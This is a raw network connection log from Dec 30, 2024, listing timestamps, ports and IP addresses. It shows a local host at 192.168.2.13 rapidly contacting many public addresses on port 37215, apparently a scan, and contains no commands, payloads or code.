Dec 30, 2024 11:58:09.464553118 CET	37215	40390	156.31.35.111	192.168.2.13
Dec 30, 2024 11:58:09.464597940 CET	41008	37215	192.168.2.13	197.144.208.34
Dec 30, 2024 11:58:09.464597940 CET	41008	37215	192.168.2.13	197.144.208.34
Dec 30, 2024 11:58:09.464620113 CET	40390	37215	192.168.2.13	156.31.35.111
Dec 30, 2024 11:58:09.464927912 CET	41264	37215	192.168.2.13	197.144.208.34
Dec 30, 2024 11:58:09.465151072 CET	37215	49316	156.145.136.194	192.168.2.13
Dec 30, 2024 11:58:09.465460062 CET	46632	37215	192.168.2.13	197.119.104.157
Dec 30, 2024 11:58:09.465460062 CET	46632	37215	192.168.2.13	197.119.104.157
Dec 30, 2024 11:58:09.465487957 CET	37215	49572	156.145.136.194	192.168.2.13
Dec 30, 2024 11:58:09.465531111 CET	49572	37215	192.168.2.13	156.145.136.194
Dec 30, 2024 11:58:09.465769053 CET	46888	37215	192.168.2.13	197.119.104.157
Dec 30, 2024 11:58:09.465981960 CET	37215	48440	197.177.210.99	192.168.2.13
Dec 30, 2024 11:58:09.466260910 CET	34894	37215	192.168.2.13	156.197.244.74
Dec 30, 2024 11:58:09.466260910 CET	34894	37215	192.168.2.13	156.197.244.74
Dec 30, 2024 11:58:09.466336966 CET	37215	48696	197.177.210.99	192.168.2.13
Dec 30, 2024 11:58:09.466425896 CET	48696	37215	192.168.2.13	197.177.210.99
Dec 30, 2024 11:58:09.466732979 CET	35150	37215	192.168.2.13	156.197.244.74
Dec 30, 2024 11:58:09.466872931 CET	37215	41770	41.191.100.80	192.168.2.13
Dec 30, 2024 11:58:09.467160940 CET	37215	42026	41.191.100.80	192.168.2.13
Dec 30, 2024 11:58:09.467174053 CET	35072	37215	192.168.2.13	156.10.138.172
Dec 30, 2024 11:58:09.467174053 CET	35072	37215	192.168.2.13	156.10.138.172
Dec 30, 2024 11:58:09.467227936 CET	42026	37215	192.168.2.13	41.191.100.80
Dec 30, 2024 11:58:09.467664003 CET	37215	33994	41.105.190.52	192.168.2.13
Dec 30, 2024 11:58:09.467674971 CET	35328	37215	192.168.2.13	156.10.138.172
Dec 30, 2024 11:58:09.467926979 CET	37215	34250	41.105.190.52	192.168.2.13
Dec 30, 2024 11:58:09.467968941 CET	34250	37215	192.168.2.13	41.105.190.52
Dec 30, 2024 11:58:09.467971087 CET	37215	44866	41.175.28.102	192.168.2.13
Dec 30, 2024 11:58:09.467983961 CET	37215	52204	41.230.93.192	192.168.2.13
Dec 30, 2024 11:58:09.467992067 CET	37215	53742	197.45.75.71	192.168.2.13
Dec 30, 2024 11:58:09.468002081 CET	37215	54414	41.161.13.63	192.168.2.13
Dec 30, 2024 11:58:09.468009949 CET	37215	56480	156.91.93.189	192.168.2.13
Dec 30, 2024 11:58:09.468169928 CET	34822	37215	192.168.2.13	197.153.6.73
Dec 30, 2024 11:58:09.468169928 CET	34822	37215	192.168.2.13	197.153.6.73
Dec 30, 2024 11:58:09.468477011 CET	35078	37215	192.168.2.13	197.153.6.73
Dec 30, 2024 11:58:09.468519926 CET	37215	48388	197.253.100.253	192.168.2.13
Dec 30, 2024 11:58:09.468899012 CET	37215	48644	197.253.100.253	192.168.2.13
Dec 30, 2024 11:58:09.468967915 CET	48644	37215	192.168.2.13	197.253.100.253
Dec 30, 2024 11:58:09.469044924 CET	51870	37215	192.168.2.13	41.245.163.128
Dec 30, 2024 11:58:09.469044924 CET	51870	37215	192.168.2.13	41.245.163.128
Dec 30, 2024 11:58:09.469336987 CET	37215	41008	197.144.208.34	192.168.2.13
Dec 30, 2024 11:58:09.469501019 CET	52126	37215	192.168.2.13	41.245.163.128
Dec 30, 2024 11:58:09.469649076 CET	37215	41264	197.144.208.34	192.168.2.13
Dec 30, 2024 11:58:09.469686985 CET	41264	37215	192.168.2.13	197.144.208.34
Dec 30, 2024 11:58:09.469964981 CET	41938	37215	192.168.2.13	156.87.111.8
Dec 30, 2024 11:58:09.469964981 CET	41938	37215	192.168.2.13	156.87.111.8
Dec 30, 2024 11:58:09.470284939 CET	37215	46632	197.119.104.157	192.168.2.13
Dec 30, 2024 11:58:09.470364094 CET	42194	37215	192.168.2.13	156.87.111.8
Dec 30, 2024 11:58:09.470469952 CET	37215	46888	197.119.104.157	192.168.2.13
Dec 30, 2024 11:58:09.470524073 CET	46888	37215	192.168.2.13	197.119.104.157
Dec 30, 2024 11:58:09.470912933 CET	49830	37215	192.168.2.13	41.93.37.249
Dec 30, 2024 11:58:09.470912933 CET	49830	37215	192.168.2.13	41.93.37.249
Dec 30, 2024 11:58:09.471092939 CET	37215	34894	156.197.244.74	192.168.2.13
Dec 30, 2024 11:58:09.471242905 CET	50086	37215	192.168.2.13	41.93.37.249
Dec 30, 2024 11:58:09.471504927 CET	37215	35150	156.197.244.74	192.168.2.13
Dec 30, 2024 11:58:09.471592903 CET	35150	37215	192.168.2.13	156.197.244.74
Dec 30, 2024 11:58:09.471755028 CET	34748	37215	192.168.2.13	41.48.239.158
Dec 30, 2024 11:58:09.471755028 CET	34748	37215	192.168.2.13	41.48.239.158
Dec 30, 2024 11:58:09.471908092 CET	37215	35072	156.10.138.172	192.168.2.13
Dec 30, 2024 11:58:09.472043037 CET	37215	50942	197.93.214.96	192.168.2.13
Dec 30, 2024 11:58:09.472050905 CET	37215	53122	156.71.108.54	192.168.2.13
Dec 30, 2024 11:58:09.472059011 CET	37215	45996	41.6.142.82	192.168.2.13
Dec 30, 2024 11:58:09.472068071 CET	37215	40894	156.126.87.54	192.168.2.13
Dec 30, 2024 11:58:09.472070932 CET	37215	40476	156.162.4.202	192.168.2.13
Dec 30, 2024 11:58:09.472075939 CET	35004	37215	192.168.2.13	41.48.239.158
Dec 30, 2024 11:58:09.472446918 CET	37215	35328	156.10.138.172	192.168.2.13
Dec 30, 2024 11:58:09.472510099 CET	35328	37215	192.168.2.13	156.10.138.172
Dec 30, 2024 11:58:09.472552061 CET	47130	37215	192.168.2.13	41.150.250.158
Dec 30, 2024 11:58:09.472553015 CET	47130	37215	192.168.2.13	41.150.250.158
Dec 30, 2024 11:58:09.472937107 CET	37215	34822	197.153.6.73	192.168.2.13
Dec 30, 2024 11:58:09.473001003 CET	47386	37215	192.168.2.13	41.150.250.158
Dec 30, 2024 11:58:09.473225117 CET	37215	35078	197.153.6.73	192.168.2.13
Dec 30, 2024 11:58:09.473263979 CET	35078	37215	192.168.2.13	197.153.6.73
Dec 30, 2024 11:58:09.473501921 CET	46098	37215	192.168.2.13	197.95.193.215
Dec 30, 2024 11:58:09.473501921 CET	46098	37215	192.168.2.13	197.95.193.215
Dec 30, 2024 11:58:09.473776102 CET	37215	51870	41.245.163.128	192.168.2.13
Dec 30, 2024 11:58:09.473902941 CET	46354	37215	192.168.2.13	197.95.193.215
Dec 30, 2024 11:58:09.474277020 CET	37215	52126	41.245.163.128	192.168.2.13
Dec 30, 2024 11:58:09.474317074 CET	52126	37215	192.168.2.13	41.245.163.128
Dec 30, 2024 11:58:09.474364042 CET	35738	37215	192.168.2.13	197.224.155.135
Dec 30, 2024 11:58:09.474364042 CET	35738	37215	192.168.2.13	197.224.155.135
Dec 30, 2024 11:58:09.474698067 CET	37215	41938	156.87.111.8	192.168.2.13
Dec 30, 2024 11:58:09.474719048 CET	35994	37215	192.168.2.13	197.224.155.135
Dec 30, 2024 11:58:09.475105047 CET	37215	42194	156.87.111.8	192.168.2.13
Dec 30, 2024 11:58:09.475145102 CET	42194	37215	192.168.2.13	156.87.111.8
Dec 30, 2024 11:58:09.475250959 CET	38288	37215	192.168.2.13	41.77.27.207
Dec 30, 2024 11:58:09.475250959 CET	38288	37215	192.168.2.13	41.77.27.207
Dec 30, 2024 11:58:09.475552082 CET	38544	37215	192.168.2.13	41.77.27.207
Dec 30, 2024 11:58:09.475651979 CET	37215	49830	41.93.37.249	192.168.2.13
Dec 30, 2024 11:58:09.476044893 CET	54854	37215	192.168.2.13	197.90.239.211
Dec 30, 2024 11:58:09.476044893 CET	54854	37215	192.168.2.13	197.90.239.211
Dec 30, 2024 11:58:09.476052046 CET	37215	50356	197.43.82.176	192.168.2.13
Dec 30, 2024 11:58:09.476061106 CET	37215	60468	197.198.45.54	192.168.2.13
Dec 30, 2024 11:58:09.476068974 CET	37215	44682	41.190.138.231	192.168.2.13
Dec 30, 2024 11:58:09.476075888 CET	37215	44242	41.229.176.171	192.168.2.13
Dec 30, 2024 11:58:09.476084948 CET	37215	50086	41.93.37.249	192.168.2.13
Dec 30, 2024 11:58:09.476126909 CET	50086	37215	192.168.2.13	41.93.37.249
Dec 30, 2024 11:58:09.476471901 CET	55110	37215	192.168.2.13	197.90.239.211
Dec 30, 2024 11:58:09.476517916 CET	37215	34748	41.48.239.158	192.168.2.13
Dec 30, 2024 11:58:09.476799011 CET	37215	35004	41.48.239.158	192.168.2.13
Dec 30, 2024 11:58:09.476834059 CET	35004	37215	192.168.2.13	41.48.239.158
Dec 30, 2024 11:58:09.476946115 CET	49808	37215	192.168.2.13	41.89.104.82
Dec 30, 2024 11:58:09.476946115 CET	49808	37215	192.168.2.13	41.89.104.82
Dec 30, 2024 11:58:09.477269888 CET	50064	37215	192.168.2.13	41.89.104.82
Dec 30, 2024 11:58:09.477336884 CET	37215	47130	41.150.250.158	192.168.2.13
Dec 30, 2024 11:58:09.477735996 CET	38134	37215	192.168.2.13	156.138.15.86
Dec 30, 2024 11:58:09.477735996 CET	38134	37215	192.168.2.13	156.138.15.86
Dec 30, 2024 11:58:09.477811098 CET	37215	47386	41.150.250.158	192.168.2.13
Dec 30, 2024 11:58:09.477870941 CET	47386	37215	192.168.2.13	41.150.250.158
Dec 30, 2024 11:58:09.478089094 CET	38390	37215	192.168.2.13	156.138.15.86
Dec 30, 2024 11:58:09.478286028 CET	37215	46098	197.95.193.215	192.168.2.13
Dec 30, 2024 11:58:09.478585005 CET	45528	37215	192.168.2.13	41.228.250.198
Dec 30, 2024 11:58:09.478585005 CET	45528	37215	192.168.2.13	41.228.250.198
Dec 30, 2024 11:58:09.478724003 CET	37215	46354	197.95.193.215	192.168.2.13
Dec 30, 2024 11:58:09.478766918 CET	46354	37215	192.168.2.13	197.95.193.215
Dec 30, 2024 11:58:09.479001999 CET	45784	37215	192.168.2.13	41.228.250.198
Dec 30, 2024 11:58:09.479105949 CET	37215	35738	197.224.155.135	192.168.2.13
Dec 30, 2024 11:58:09.479418039 CET	37215	35994	197.224.155.135	192.168.2.13
Dec 30, 2024 11:58:09.479465961 CET	35994	37215	192.168.2.13	197.224.155.135
Dec 30, 2024 11:58:09.479598045 CET	59916	37215	192.168.2.13	156.57.234.191
Dec 30, 2024 11:58:09.479609013 CET	59916	37215	192.168.2.13	156.57.234.191
Dec 30, 2024 11:58:09.479971886 CET	60172	37215	192.168.2.13	156.57.234.191
Dec 30, 2024 11:58:09.479985952 CET	37215	59084	197.52.115.121	192.168.2.13
Dec 30, 2024 11:58:09.479995012 CET	37215	39888	156.107.172.134	192.168.2.13
Dec 30, 2024 11:58:09.480003119 CET	37215	46752	41.190.172.111	192.168.2.13
Dec 30, 2024 11:58:09.480031013 CET	37215	49096	41.225.75.76	192.168.2.13
Dec 30, 2024 11:58:09.480040073 CET	37215	60192	156.220.33.161	192.168.2.13
Dec 30, 2024 11:58:09.480047941 CET	37215	38288	41.77.27.207	192.168.2.13
Dec 30, 2024 11:58:09.480334997 CET	37215	38544	41.77.27.207	192.168.2.13
Dec 30, 2024 11:58:09.480392933 CET	38544	37215	192.168.2.13	41.77.27.207
Dec 30, 2024 11:58:09.480545044 CET	36242	37215	192.168.2.13	156.191.178.167
Dec 30, 2024 11:58:09.480555058 CET	36242	37215	192.168.2.13	156.191.178.167
Dec 30, 2024 11:58:09.480792046 CET	37215	54854	197.90.239.211	192.168.2.13
Dec 30, 2024 11:58:09.480922937 CET	36498	37215	192.168.2.13	156.191.178.167
Dec 30, 2024 11:58:09.481199026 CET	37215	55110	197.90.239.211	192.168.2.13
Dec 30, 2024 11:58:09.481241941 CET	55110	37215	192.168.2.13	197.90.239.211
Dec 30, 2024 11:58:09.481467009 CET	33746	37215	192.168.2.13	197.33.251.33
Dec 30, 2024 11:58:09.481467009 CET	33746	37215	192.168.2.13	197.33.251.33
Dec 30, 2024 11:58:09.481761932 CET	37215	49808	41.89.104.82	192.168.2.13
Dec 30, 2024 11:58:09.481831074 CET	34002	37215	192.168.2.13	197.33.251.33
Dec 30, 2024 11:58:09.481964111 CET	37215	50064	41.89.104.82	192.168.2.13
Dec 30, 2024 11:58:09.482004881 CET	50064	37215	192.168.2.13	41.89.104.82
Dec 30, 2024 11:58:09.482359886 CET	40074	37215	192.168.2.13	197.226.100.137
Dec 30, 2024 11:58:09.482359886 CET	40074	37215	192.168.2.13	197.226.100.137
Dec 30, 2024 11:58:09.482508898 CET	37215	38134	156.138.15.86	192.168.2.13
Dec 30, 2024 11:58:09.482774019 CET	40330	37215	192.168.2.13	197.226.100.137
Dec 30, 2024 11:58:09.482830048 CET	37215	38390	156.138.15.86	192.168.2.13
Dec 30, 2024 11:58:09.482873917 CET	38390	37215	192.168.2.13	156.138.15.86
Dec 30, 2024 11:58:09.483294010 CET	47100	37215	192.168.2.13	156.0.232.213
Dec 30, 2024 11:58:09.483294010 CET	47100	37215	192.168.2.13	156.0.232.213
Dec 30, 2024 11:58:09.483375072 CET	37215	45528	41.228.250.198	192.168.2.13
Dec 30, 2024 11:58:09.483731985 CET	47356	37215	192.168.2.13	156.0.232.213
Dec 30, 2024 11:58:09.483753920 CET	37215	45784	41.228.250.198	192.168.2.13
Dec 30, 2024 11:58:09.483798981 CET	45784	37215	192.168.2.13	41.228.250.198
Dec 30, 2024 11:58:09.484011889 CET	37215	44414	156.174.56.203	192.168.2.13
Dec 30, 2024 11:58:09.484020948 CET	37215	42670	41.239.215.130	192.168.2.13
Dec 30, 2024 11:58:09.484029055 CET	37215	46184	41.49.86.106	192.168.2.13
Dec 30, 2024 11:58:09.484040976 CET	37215	37536	156.27.27.250	192.168.2.13
Dec 30, 2024 11:58:09.484230995 CET	44880	37215	192.168.2.13	41.57.208.136
Dec 30, 2024 11:58:09.484241009 CET	44880	37215	192.168.2.13	41.57.208.136
Dec 30, 2024 11:58:09.484324932 CET	37215	59916	156.57.234.191	192.168.2.13
Dec 30, 2024 11:58:09.484637022 CET	45136	37215	192.168.2.13	41.57.208.136
Dec 30, 2024 11:58:09.484673977 CET	37215	60172	156.57.234.191	192.168.2.13
Dec 30, 2024 11:58:09.484716892 CET	60172	37215	192.168.2.13	156.57.234.191
Dec 30, 2024 11:58:09.485209942 CET	54158	37215	192.168.2.13	41.148.173.226
Dec 30, 2024 11:58:09.485210896 CET	54158	37215	192.168.2.13	41.148.173.226
Dec 30, 2024 11:58:09.485297918 CET	37215	36242	156.191.178.167	192.168.2.13
Dec 30, 2024 11:58:09.485600948 CET	54414	37215	192.168.2.13	41.148.173.226
Dec 30, 2024 11:58:09.485652924 CET	37215	36498	156.191.178.167	192.168.2.13
Dec 30, 2024 11:58:09.485692024 CET	36498	37215	192.168.2.13	156.191.178.167
Dec 30, 2024 11:58:09.486229897 CET	39678	37215	192.168.2.13	156.109.165.251
Dec 30, 2024 11:58:09.486229897 CET	39678	37215	192.168.2.13	156.109.165.251
Dec 30, 2024 11:58:09.486246109 CET	37215	33746	197.33.251.33	192.168.2.13
Dec 30, 2024 11:58:09.486622095 CET	39934	37215	192.168.2.13	156.109.165.251
Dec 30, 2024 11:58:09.486623049 CET	37215	34002	197.33.251.33	192.168.2.13
Dec 30, 2024 11:58:09.486668110 CET	34002	37215	192.168.2.13	197.33.251.33
Dec 30, 2024 11:58:09.487147093 CET	37215	40074	197.226.100.137	192.168.2.13
Dec 30, 2024 11:58:09.487184048 CET	48302	37215	192.168.2.13	41.174.8.47
Dec 30, 2024 11:58:09.487184048 CET	48302	37215	192.168.2.13	41.174.8.47
Dec 30, 2024 11:58:09.487484932 CET	37215	40330	197.226.100.137	192.168.2.13
Dec 30, 2024 11:58:09.487530947 CET	40330	37215	192.168.2.13	197.226.100.137
Dec 30, 2024 11:58:09.487626076 CET	48558	37215	192.168.2.13	41.174.8.47
Dec 30, 2024 11:58:09.488003016 CET	37215	46980	197.177.118.14	192.168.2.13
Dec 30, 2024 11:58:09.488012075 CET	37215	54212	41.41.131.176	192.168.2.13
Dec 30, 2024 11:58:09.488019943 CET	37215	49334	197.47.205.27	192.168.2.13
Dec 30, 2024 11:58:09.488028049 CET	37215	59610	41.6.233.23	192.168.2.13
Dec 30, 2024 11:58:09.488049030 CET	37215	43902	197.223.93.160	192.168.2.13
Dec 30, 2024 11:58:09.488056898 CET	37215	47100	156.0.232.213	192.168.2.13
Dec 30, 2024 11:58:09.488257885 CET	38152	37215	192.168.2.13	197.35.236.212
Dec 30, 2024 11:58:09.488257885 CET	38152	37215	192.168.2.13	197.35.236.212
Dec 30, 2024 11:58:09.488559008 CET	37215	47356	156.0.232.213	192.168.2.13
Dec 30, 2024 11:58:09.488599062 CET	47356	37215	192.168.2.13	156.0.232.213
Dec 30, 2024 11:58:09.488646984 CET	38408	37215	192.168.2.13	197.35.236.212
Dec 30, 2024 11:58:09.488945961 CET	37215	44880	41.57.208.136	192.168.2.13
Dec 30, 2024 11:58:09.489144087 CET	55758	37215	192.168.2.13	41.148.153.144
Dec 30, 2024 11:58:09.489161968 CET	55758	37215	192.168.2.13	41.148.153.144
Dec 30, 2024 11:58:09.489432096 CET	37215	45136	41.57.208.136	192.168.2.13
Dec 30, 2024 11:58:09.489470959 CET	45136	37215	192.168.2.13	41.57.208.136
Dec 30, 2024 11:58:09.489521980 CET	56014	37215	192.168.2.13	41.148.153.144
Dec 30, 2024 11:58:09.489947081 CET	37215	54158	41.148.173.226	192.168.2.13
Dec 30, 2024 11:58:09.490035057 CET	57010	37215	192.168.2.13	197.31.42.248
Dec 30, 2024 11:58:09.490035057 CET	57010	37215	192.168.2.13	197.31.42.248
Dec 30, 2024 11:58:09.490335941 CET	37215	54414	41.148.173.226	192.168.2.13
Dec 30, 2024 11:58:09.490375042 CET	54414	37215	192.168.2.13	41.148.173.226
Dec 30, 2024 11:58:09.490406990 CET	57266	37215	192.168.2.13	197.31.42.248
Dec 30, 2024 11:58:09.490886927 CET	45138	37215	192.168.2.13	156.239.49.238
Dec 30, 2024 11:58:09.490896940 CET	45138	37215	192.168.2.13	156.239.49.238
Dec 30, 2024 11:58:09.491013050 CET	37215	39678	156.109.165.251	192.168.2.13
Dec 30, 2024 11:58:09.491300106 CET	45394	37215	192.168.2.13	156.239.49.238
Dec 30, 2024 11:58:09.491365910 CET	37215	39934	156.109.165.251	192.168.2.13
Dec 30, 2024 11:58:09.491416931 CET	39934	37215	192.168.2.13	156.109.165.251
Dec 30, 2024 11:58:09.491872072 CET	39116	37215	192.168.2.13	156.57.20.178
Dec 30, 2024 11:58:09.491889954 CET	39116	37215	192.168.2.13	156.57.20.178
Dec 30, 2024 11:58:09.492028952 CET	37215	48302	41.174.8.47	192.168.2.13
Dec 30, 2024 11:58:09.492038012 CET	37215	45372	156.142.49.103	192.168.2.13
Dec 30, 2024 11:58:09.492044926 CET	37215	50944	41.45.201.183	192.168.2.13
Dec 30, 2024 11:58:09.492053032 CET	37215	49322	156.35.239.23	192.168.2.13
Dec 30, 2024 11:58:09.492060900 CET	37215	37328	41.90.16.2	192.168.2.13
Dec 30, 2024 11:58:09.492331982 CET	39372	37215	192.168.2.13	156.57.20.178
Dec 30, 2024 11:58:09.492336035 CET	37215	48558	41.174.8.47	192.168.2.13
Dec 30, 2024 11:58:09.492381096 CET	48558	37215	192.168.2.13	41.174.8.47
Dec 30, 2024 11:58:09.492872953 CET	52442	37215	192.168.2.13	41.247.241.14
Dec 30, 2024 11:58:09.492882967 CET	52442	37215	192.168.2.13	41.247.241.14
Dec 30, 2024 11:58:09.493068933 CET	37215	38152	197.35.236.212	192.168.2.13
Dec 30, 2024 11:58:09.493278027 CET	52698	37215	192.168.2.13	41.247.241.14
Dec 30, 2024 11:58:09.493392944 CET	37215	38408	197.35.236.212	192.168.2.13
Dec 30, 2024 11:58:09.493455887 CET	38408	37215	192.168.2.13	197.35.236.212
Dec 30, 2024 11:58:09.493788958 CET	35958	37215	192.168.2.13	156.122.179.59
Dec 30, 2024 11:58:09.493799925 CET	35958	37215	192.168.2.13	156.122.179.59
Dec 30, 2024 11:58:09.493865013 CET	37215	55758	41.148.153.144	192.168.2.13
Dec 30, 2024 11:58:09.494239092 CET	37215	56014	41.148.153.144	192.168.2.13
Dec 30, 2024 11:58:09.494280100 CET	56014	37215	192.168.2.13	41.148.153.144
Dec 30, 2024 11:58:09.494319916 CET	36214	37215	192.168.2.13	156.122.179.59
Dec 30, 2024 11:58:09.494767904 CET	37215	57010	197.31.42.248	192.168.2.13
Dec 30, 2024 11:58:09.494909048 CET	33578	37215	192.168.2.13	41.210.108.168
Dec 30, 2024 11:58:09.494919062 CET	33578	37215	192.168.2.13	41.210.108.168
Dec 30, 2024 11:58:09.495110989 CET	37215	57266	197.31.42.248	192.168.2.13
Dec 30, 2024 11:58:09.495215893 CET	57266	37215	192.168.2.13	197.31.42.248
Dec 30, 2024 11:58:09.495332003 CET	33834	37215	192.168.2.13	41.210.108.168
Dec 30, 2024 11:58:09.495690107 CET	37215	45138	156.239.49.238	192.168.2.13
Dec 30, 2024 11:58:09.495866060 CET	41620	37215	192.168.2.13	156.249.168.197
Dec 30, 2024 11:58:09.495866060 CET	41620	37215	192.168.2.13	156.249.168.197
Dec 30, 2024 11:58:09.496035099 CET	37215	53972	156.85.24.210	192.168.2.13
Dec 30, 2024 11:58:09.496045113 CET	37215	53980	156.243.189.25	192.168.2.13
Dec 30, 2024 11:58:09.496052980 CET	37215	52454	197.243.215.210	192.168.2.13
Dec 30, 2024 11:58:09.496059895 CET	37215	38752	156.53.52.72	192.168.2.13
Dec 30, 2024 11:58:09.496068954 CET	37215	45394	156.239.49.238	192.168.2.13
Dec 30, 2024 11:58:09.496118069 CET	45394	37215	192.168.2.13	156.239.49.238
Dec 30, 2024 11:58:09.496273041 CET	41876	37215	192.168.2.13	156.249.168.197
Dec 30, 2024 11:58:09.496602058 CET	37215	39116	156.57.20.178	192.168.2.13
Dec 30, 2024 11:58:09.496736050 CET	59460	37215	192.168.2.13	156.235.175.169
Dec 30, 2024 11:58:09.496757030 CET	59460	37215	192.168.2.13	156.235.175.169
Dec 30, 2024 11:58:09.497118950 CET	59716	37215	192.168.2.13	156.235.175.169
Dec 30, 2024 11:58:09.497159958 CET	37215	39372	156.57.20.178	192.168.2.13
Dec 30, 2024 11:58:09.497200966 CET	39372	37215	192.168.2.13	156.57.20.178
Dec 30, 2024 11:58:09.497628927 CET	49644	37215	192.168.2.13	156.6.167.142
Dec 30, 2024 11:58:09.497628927 CET	49644	37215	192.168.2.13	156.6.167.142
Dec 30, 2024 11:58:09.497664928 CET	37215	52442	41.247.241.14	192.168.2.13
Dec 30, 2024 11:58:09.498071909 CET	37215	52698	41.247.241.14	192.168.2.13
Dec 30, 2024 11:58:09.498090029 CET	49900	37215	192.168.2.13	156.6.167.142
Dec 30, 2024 11:58:09.498116016 CET	52698	37215	192.168.2.13	41.247.241.14
Dec 30, 2024 11:58:09.498589039 CET	37215	35958	156.122.179.59	192.168.2.13
Dec 30, 2024 11:58:09.498614073 CET	53928	37215	192.168.2.13	156.37.158.107
Dec 30, 2024 11:58:09.498625040 CET	53928	37215	192.168.2.13	156.37.158.107
Dec 30, 2024 11:58:09.499072075 CET	54184	37215	192.168.2.13	156.37.158.107
Dec 30, 2024 11:58:09.499079943 CET	37215	36214	156.122.179.59	192.168.2.13
Dec 30, 2024 11:58:09.499119043 CET	36214	37215	192.168.2.13	156.122.179.59
Dec 30, 2024 11:58:09.499608994 CET	37215	33578	41.210.108.168	192.168.2.13
Dec 30, 2024 11:58:09.499696970 CET	55510	37215	192.168.2.13	197.21.94.66
Dec 30, 2024 11:58:09.499696970 CET	55510	37215	192.168.2.13	197.21.94.66
Dec 30, 2024 11:58:09.500032902 CET	37215	50230	197.3.248.2	192.168.2.13
Dec 30, 2024 11:58:09.500047922 CET	37215	55072	41.169.142.29	192.168.2.13
Dec 30, 2024 11:58:09.500049114 CET	55766	37215	192.168.2.13	197.21.94.66
Dec 30, 2024 11:58:09.500056982 CET	37215	49010	41.80.233.254	192.168.2.13
Dec 30, 2024 11:58:09.500066042 CET	37215	36166	197.79.108.138	192.168.2.13
Dec 30, 2024 11:58:09.500070095 CET	37215	48404	197.248.163.191	192.168.2.13
Dec 30, 2024 11:58:09.500077963 CET	37215	33834	41.210.108.168	192.168.2.13
Dec 30, 2024 11:58:09.500114918 CET	33834	37215	192.168.2.13	41.210.108.168
Dec 30, 2024 11:58:09.500555038 CET	52452	37215	192.168.2.13	156.249.232.17
Dec 30, 2024 11:58:09.500566006 CET	52452	37215	192.168.2.13	156.249.232.17
Dec 30, 2024 11:58:09.500592947 CET	37215	41620	156.249.168.197	192.168.2.13
Dec 30, 2024 11:58:09.500955105 CET	52708	37215	192.168.2.13	156.249.232.17
Dec 30, 2024 11:58:09.501017094 CET	37215	41876	156.249.168.197	192.168.2.13
Dec 30, 2024 11:58:09.501059055 CET	41876	37215	192.168.2.13	156.249.168.197
Dec 30, 2024 11:58:09.501537085 CET	54522	37215	192.168.2.13	156.120.79.177
Dec 30, 2024 11:58:09.501537085 CET	54522	37215	192.168.2.13	156.120.79.177
Dec 30, 2024 11:58:09.501565933 CET	37215	59460	156.235.175.169	192.168.2.13
Dec 30, 2024 11:58:09.501857042 CET	54778	37215	192.168.2.13	156.120.79.177
Dec 30, 2024 11:58:09.501928091 CET	37215	59716	156.235.175.169	192.168.2.13
Dec 30, 2024 11:58:09.501983881 CET	59716	37215	192.168.2.13	156.235.175.169
Dec 30, 2024 11:58:09.502388000 CET	51946	37215	192.168.2.13	156.60.79.74
Dec 30, 2024 11:58:09.502388000 CET	37215	49644	156.6.167.142	192.168.2.13
Dec 30, 2024 11:58:09.502388000 CET	51946	37215	192.168.2.13	156.60.79.74
Dec 30, 2024 11:58:09.502753019 CET	52202	37215	192.168.2.13	156.60.79.74
Dec 30, 2024 11:58:09.502887011 CET	37215	49900	156.6.167.142	192.168.2.13
Dec 30, 2024 11:58:09.502954960 CET	49900	37215	192.168.2.13	156.6.167.142
Dec 30, 2024 11:58:09.503267050 CET	34808	37215	192.168.2.13	156.2.5.246
Dec 30, 2024 11:58:09.503277063 CET	34808	37215	192.168.2.13	156.2.5.246
Dec 30, 2024 11:58:09.503338099 CET	37215	53928	156.37.158.107	192.168.2.13
Dec 30, 2024 11:58:09.503670931 CET	35064	37215	192.168.2.13	156.2.5.246
Dec 30, 2024 11:58:09.503786087 CET	37215	54184	156.37.158.107	192.168.2.13
Dec 30, 2024 11:58:09.503829956 CET	54184	37215	192.168.2.13	156.37.158.107
Dec 30, 2024 11:58:09.504209995 CET	57376	37215	192.168.2.13	197.62.103.239
Dec 30, 2024 11:58:09.504209995 CET	57376	37215	192.168.2.13	197.62.103.239
Dec 30, 2024 11:58:09.504465103 CET	37215	55510	197.21.94.66	192.168.2.13
Dec 30, 2024 11:58:09.504581928 CET	57632	37215	192.168.2.13	197.62.103.239
Dec 30, 2024 11:58:09.504795074 CET	37215	55766	197.21.94.66	192.168.2.13
Dec 30, 2024 11:58:09.504848003 CET	55766	37215	192.168.2.13	197.21.94.66
Dec 30, 2024 11:58:09.505152941 CET	42932	37215	192.168.2.13	197.191.64.62
Dec 30, 2024 11:58:09.505161047 CET	42932	37215	192.168.2.13	197.191.64.62
Dec 30, 2024 11:58:09.505321980 CET	37215	52452	156.249.232.17	192.168.2.13
Dec 30, 2024 11:58:09.505563021 CET	43188	37215	192.168.2.13	197.191.64.62
Dec 30, 2024 11:58:09.505666971 CET	37215	52708	156.249.232.17	192.168.2.13
Dec 30, 2024 11:58:09.505708933 CET	52708	37215	192.168.2.13	156.249.232.17
Dec 30, 2024 11:58:09.506133080 CET	51352	37215	192.168.2.13	41.136.56.49
Dec 30, 2024 11:58:09.506143093 CET	51352	37215	192.168.2.13	41.136.56.49
Dec 30, 2024 11:58:09.506319046 CET	37215	54522	156.120.79.177	192.168.2.13
Dec 30, 2024 11:58:09.506602049 CET	51608	37215	192.168.2.13	41.136.56.49
Dec 30, 2024 11:58:09.506671906 CET	37215	54778	156.120.79.177	192.168.2.13
Dec 30, 2024 11:58:09.506756067 CET	54778	37215	192.168.2.13	156.120.79.177
Dec 30, 2024 11:58:09.507148027 CET	34612	37215	192.168.2.13	156.64.101.67
Dec 30, 2024 11:58:09.507179022 CET	34612	37215	192.168.2.13	156.64.101.67
Dec 30, 2024 11:58:09.507191896 CET	37215	51946	156.60.79.74	192.168.2.13
Dec 30, 2024 11:58:09.507575989 CET	37215	52202	156.60.79.74	192.168.2.13
Dec 30, 2024 11:58:09.507590055 CET	34868	37215	192.168.2.13	156.64.101.67
Dec 30, 2024 11:58:09.507630110 CET	52202	37215	192.168.2.13	156.60.79.74
Dec 30, 2024 11:58:09.507961035 CET	37215	48458	41.43.37.240	192.168.2.13
Dec 30, 2024 11:58:09.508080959 CET	37215	47182	197.76.50.224	192.168.2.13
Dec 30, 2024 11:58:09.508090973 CET	37215	58040	197.150.48.165	192.168.2.13
Dec 30, 2024 11:58:09.508099079 CET	37215	46266	197.28.233.183	192.168.2.13
Dec 30, 2024 11:58:09.508106947 CET	37215	33994	41.105.190.52	192.168.2.13
Dec 30, 2024 11:58:09.508115053 CET	37215	41770	41.191.100.80	192.168.2.13
Dec 30, 2024 11:58:09.508119106 CET	37215	48440	197.177.210.99	192.168.2.13
Dec 30, 2024 11:58:09.508130074 CET	37215	49316	156.145.136.194	192.168.2.13
